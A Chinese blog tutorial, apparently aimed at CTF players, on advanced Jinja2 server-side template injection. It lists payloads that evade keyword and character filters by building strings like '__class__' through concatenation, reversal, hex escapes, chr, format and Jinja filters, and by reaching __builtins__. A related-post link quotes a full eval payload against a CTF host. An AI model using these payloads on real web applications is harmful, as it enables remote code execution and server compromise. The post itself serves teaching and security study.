SSTI模板注入绕过(进阶篇)

SSTI-payload和各种绕过方法 SSTI总结:流程和绕过 阅读详情
AI摘要

本文详细介绍了Jinja2模板引擎的语法及变量处理方法,并深入探讨了如何利用各种技巧进行模板注入攻击,包括字符串构造、获取键值和属性等。


下面的内容均以jinja2为例,根据官方文档来探寻绕过方法
文档链接
默认大家都已经可以利用没有任何过滤的模板注入

语法

官方文档对于模板的语法介绍如下

{% ... %} for Statements 

{{ ... }} for Expressions to print to the template output

{# ... #} for Comments not included in the template output

#  ... # for Line Statements

{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
##可以有和{%%}相同的效果

{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句
# for i in ['a','1']
{{ i }}
# endfor

{% for i in ['a','1'] %}
{{ i }}
{% endfor %}

这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix
即
app.jinja_env.line_statement_prefix="#"
但我尝试之后发现开启不了,不知道为什么

变量

You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]). --官方原文

也就是说
除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性。
比如

{{"".__class__}}
{{""['__classs__']}}

所以过滤了点,我们还可以用中括号绕过。
如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__
所以对于取字典中键值的情况不仅可以用[],也可以用__getitem__
当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个

pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。

我们要使用字典中的键值的话,也可以用list.pop("var"),但大家最好不要用这个,除非万不得已,因为会删除里面的键,如果删除的是一些程序运行需要用到的,就可能使得服务器崩溃。然后过了一遍字典的方法,发现get和setdefault是个不错的选择

dict.get(key, default=None)
返回指定键的值,如果值不在字典中返回default值

dict.setdefault(key, default=None)
和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

那么调用对象的方法具体是什么原理呢,其实他是调用了魔术方法__getattribute__
即

"".__class__
"".__getattribute__("__class__")

如果题目过滤了class或者一些关键字,我们是不是就可以通过字符串处理进行拼接了。
对于我们来说,能转换成字符串会更好处理一些。
那我们就顺势讲一下字符串的一些处理方法。
1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]

但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()]

先想到这些,下面讲过滤器再补充

过滤器

原文介绍

Variables can be modified by filters. Filters are separated from the variable by a pipe symbol (|) and may 
have optional arguments in parentheses. Multiple filters can be chained. The output of one filter is 
applied to the next.
For example, {{ name|striptags|title }} will remove all HTML Tags from variable name and title-case the
output (title(striptags(name))).

变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多
个过滤器。一个过滤器的输出应用于下一个过滤器。

例如,{{ name|striptags|title }} 将删除变量名中的所有HTML标记,并将title大小写为输出(title(striptags(name)))。

讲几个对我们进行模板注入比较实用的吧,其他的大家可以去文档中学习。

attr

Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and 
items are not looked up.

也就是说 attr用于获取变量
例如

""|attr("__class__")
相当于
"".__class__

这个大家应该见的比较多了,常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。

format

Apply the given values to a printf-style format string, like string % values.

功能和我们前面讲到的字符串绕过中的format类似。
用法
{ "%s, %s!"|format(greeting, name) }}
那么我们想要调用__class__就可以用format了

"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

first last random

Return the first item of a sequence.
Return the last item of a sequence.
Return a random item from the sequence.

前两个其实用处不是很大,因为他只能返回第一个值或者最后一个,当然,如果我们用的就是第一个或者最后一个那就ok了。
random的话是随机返回,这样我们跑个脚本肯定是可以得到我们想要的。

"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]

join

Return a string which is the concatenation of the strings in the sequence. The separator between elements is an
empty string per default, you can define it with the optional parameter:

{{ [1, 2, 3]|join('|') }}
    -> 1|2|3

{{ [1, 2, 3]|join }}
    -> 123
It is also possible to join certain attributes of an object:

{{ users|join(', ', attribute='username') }}

这个用处就相当大了,我们貌似又多了一种字符串拼接的方法

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]

lower

Convert a value to lowercase.
功能类似于前面的转换成小写
""["__CLASS__"|lower]

replace reverse

Return a copy of the value with all occurrences of a substring replaced with a new one. The first 
argument is the substring that should be replaced, the second is the replacement string. If the optional 
third argument count is given, only the first count occurrences are replaced


Reverse the object or return an iterator that iterates over it the other way round.

我们可以利用替换和反转还原回我们要用的字符串了

"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"

string

Make a string unicode if it isn’t already. That way a markup string is not converted back to unicode.

功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。

().__class__   出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<

select unique

Filters a sequence of objects by applying a test to each object, and only selecting the objects with the test succeeding.
If no test is specified, each object will be evaluated as a boolean.
通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。
如果没有指定测试,则每个对象都将被计算为布尔值

Returns a list of unique items from the given iterable.

这两个乍一看感觉没啥用处,其实如果我们和上面的结合就会发现他们巨大的用处

()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>

这样我们会拥有比前面更多的字符来用于拼接

(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

得到字符串"__class__"

在这里插入图片描述

list

Convert the value into a list. If it was a string the returned list will be a list of characters.

转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
只是单纯的字符串的话取单个字符方法有限

(()|select|string)[0]
如果中括号被过滤了,挺难的
但是列表的话就可以用pop取下标了
当然都可以使用__getitem__
(()|select|string|list).pop(0)

过滤器也先写到这了,还有不少,大家可以自行研究。

总结

获取内置方法 以chr为例

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

获取字符串
具体原理可参考文章

request.args.x1   	get传参
request.values.x1 	get、post传参
request.cookies
request.form.x1   	post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		post传参	(Content-Type:a/b)
request.json		post传json  (Content-Type: application/json)

字符串构造

1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]

但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"[::-1]]
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()]

8、利用过滤器

('__clas','s__')|join
["__CLASS__"|lower
"__claee__"|replace("ee","ss") 
"__ssalc__"|reverse
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)


(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

dict(__clas=a,s__=b)|join

获取键值或下标

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

获取属性

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

转载请联系笔者

最全SSTI模板注入waf绕过总结(6700+字数!) 详细介绍了各种方法绕过混合过滤,关键字过滤,各种符号过滤,点过滤,下划线过滤,单双引号过滤,很齐全 阅读详情

相关推荐

SSTI模板注入及绕过姿势(基于Python-Jinja2)

http://xmctf.top:8962/?name={{%22%22[%22\x5f\x5fclass\x5f\x5f%22]["\x5F\x5Fbase\x5F\x5F"]["\x5F\x5Fsubclasses\x5F\x5F"]()[233]["\x5F\x5Finit\x5F\x5F"]["\x5F\x5Fglobals\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"]['eval']("\x5F\x5Fimport\x5F\x5F('os'))")}}

Y4tacker的博客 1万+

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入(Server-Side Template Injection) ​ 当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。 ​ 漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将

huangyongkang666的博客 1万+

关于flask的SSTI注入

ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。 它的实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题。 这个问题主要是出在web应...

Kr的博客 7533

关于SSTI模块注入的常见绕过方法

1、过滤了中括号 2、过滤了双下划线 3、过滤了单下划线 4、过滤了点 5、过滤了大括号 6、过滤了引号 7、过滤了数字

Welcome To My6n Blog 3128

【php中ssti模板注入讲解】

本文分析了PHP中Smarty和Twig模板的安全机制及SSTI漏洞利用方法。首先介绍了两种模板通过白名单机制限制函数执行的安全措施,然后详细剖析了针对Smarty模板的SSTI漏洞利用过程,包括版本探测、payload构造和命令执行。文章通过一个实际案例展示了如何通过二次注入触发SSTI漏洞,并最终实现远程代码执行(RCE)。案例中演示了绕过SQL注入过滤、构造16进制payload以及通过GET参数执行系统命令的全过程,为模板安全研究和渗透测试提供了实用参考。

My笔记的博客 1179

Xilinx Vivado LDPC IP core,TSN IP core. 各种IP core

Xilinx Vivado LDPC IP core,TSN IP core. 各种IP core

qq_1432825237的博客 3991

SSTI模板注入总结

文章目录一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结(转载)5、常见过滤器(转载)四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1 一、初识SSTI 1、什么是SSTI? SSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。 可能SSTI对大家而言不是很熟悉,但是相信大家很熟悉SQL注入。实

Manuffer的博客 1万+

省三医院新门诊大楼网络安全建设项目实施方案

为了响应国家建设数字医疗,构建医联网、医共体的号召,新门诊大楼现有计算机网络,实现各门诊室、药房、医学影像科室及后勤科室的终端数据互通。在互联网出口以三层模式部署两台防火墙,作为连接公网的出口设备;出于等保合规和自身业务安全的考虑,现需要该网络上通过网络安全设备实现安全建设。公网出口防火墙,配置攻击防御策略,防御互联网上的病毒进入内网。公网出口防火墙配置攻击防御策略,防御外网对内网的入侵行为。服务器取得边界防火墙,配置攻击防御策略,入侵防御策略。公网出口防火墙配置入侵防御策略,防御外网对内网发起的D。

m0_63645854的博客 2013

SSTI模板注入详细总结及WAF绕过

模板引擎是用于Web开发的工具,其作用是将用户界面和业务数据分离。通过模板引擎,我们可以根据特定的格式要求生成文档。使用模板引擎,我们只需要提供用户数据,然后将数据传递给渲染函数,模板引擎会根据提供的数据生成对应的前端HTML页面,最终呈现在用户的浏览器中。

2301_76690905的博客 5704

AI 推理与服务(AI Inference and Serving)

AI 推理和服务是现代分布式系统中的重要组成部分。通过合理应用 AI 推理和服务的最佳实践,可以显著提高系统的智能性和用户体验。本章介绍了 AI 推理和服务的核心概念、最佳实践以及在分布式系统中的应用,希望这些内容能帮助您构建更智能、更高效的分布式系统。

蜗牛沐雨 1382

MIPI video mode 和 command mode 的区别

1、何为LCD RAM? LCD 是指字面意思是液晶显示屏(Liquid Crystal Display), 而RAM: 随机存取存储器(Random-Access Memory),两者完全是风马牛不相及的东西。 下图是一个标准的LCD的爆炸图(不含TP),请注意图中红色mark的地方:控制IC-- LCD的大脑。所谓的LCD RAM自然是指此大脑是否包含RAM. 题外话<不感兴趣的...

精诚所至 4690

详解SSTI模板注入

详解SSTI模板注入SSTI简介常见的模板引擎PHPJAVAPYTHONRUBYGOLANGSSTI产生的原因常用检测工具 TplmapFlask/Jinja模板引擎的相关绕过Flask简介demo漏洞代码基础知识沙盒逃逸Python的内建函数名称空间类继承寻找Python-SSTI攻击载荷的过程攻击载荷过程常用的目标函数常见的中间对象fuzz可利用类脚本服务端fuzzPython常用的命令执行方式Python-Web框架配置文件TornadoflaksFlask过滤器定义使用方式用的过滤器模块查找脚本常见

LYJ20010728的博客 5157

UE 动态获取 资源缩略图 下载到本地或返回图片信息

UE 动态加载资源缩略图 返回图片信息或保存到本地

qq_46080252的博客 1937

py-SSTI注入模板利用与绕过

ssti基础篇 常见注入模板 与 常见绕过

2301_81476211的博客 2496

【软考】系统集成项目管理工程师(一)信息化知识

软考中级——系统集成项目管理工程师备考干货第一章:信息化知识。

商务合作 | 共同学习 | 携手共进 9万+

康耐视visionpro-CogCreateSegmentAvgSegsTool操作工具详细说明

康耐视visionpro-CogCreateSegmentAvgSegsTool操作工具详细说明

视觉人机器视觉的博客 1480

SSTI模板注入绕过

想要回显内容在外面加个print。

2302_81650222的博客 1143

【项目实战】主流车载操作系统,QNX实时操作系统入门介绍

QNX是一种实时操作系统,自1980年代初期由Quantum Software Systems成立以来,已被广泛应用于各种行业和领域。QNX具有实时响应、高可靠性和分布式等特点,为各种设备提供了强大的底层操作系统平台。随着科技的不断发展和进步,QNX系统的应用范围和潜力也在不断扩大。本文将全面介绍QNX系统,包括其引言、背景、系统特性、应用领域和生态系统等方面。QNX作为一种实时操作系统,具有高效的实时性能、高可靠性、分布式、可剪裁性和可扩展性等特点。它在各个领域都有广泛的应用,并拥有一个庞大的生态系统。

奶爸的编程之路,也就一周冷个三天 3068

SSTI漏洞利用及绕过总结(绕过姿势多样)

SSTI模板注入,详细的常用注入模块利用,全面的SSTI绕过总结

永不落的梦想 6826

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

CTF-SSTI模板注入

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

2302_78903258的博客 2695

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

SSTI模板注入学习

简单总结一下学习到的SSTI相关知识

竹盐笙熙的博客 2125

SSTI注入WAF绕过篇

SSTI,其中文名为服务端模板注入。首先我们需要先了解一下:什么是模板引擎?模板引擎是为了使用户界面与业务数据分离而产生,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前。

zkaq7777777的博客 1613

SSTI 服务器端模板注入

什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念,通过与服务端模板的 输入输出 交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞

qq_45521281的博客 3081
上一篇: CTFSHOW文件上传篇
下一篇: CTFSHOW 反序列化篇
yu22x
博客等级 码龄7年 3739粉丝 121原创
评论 8
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值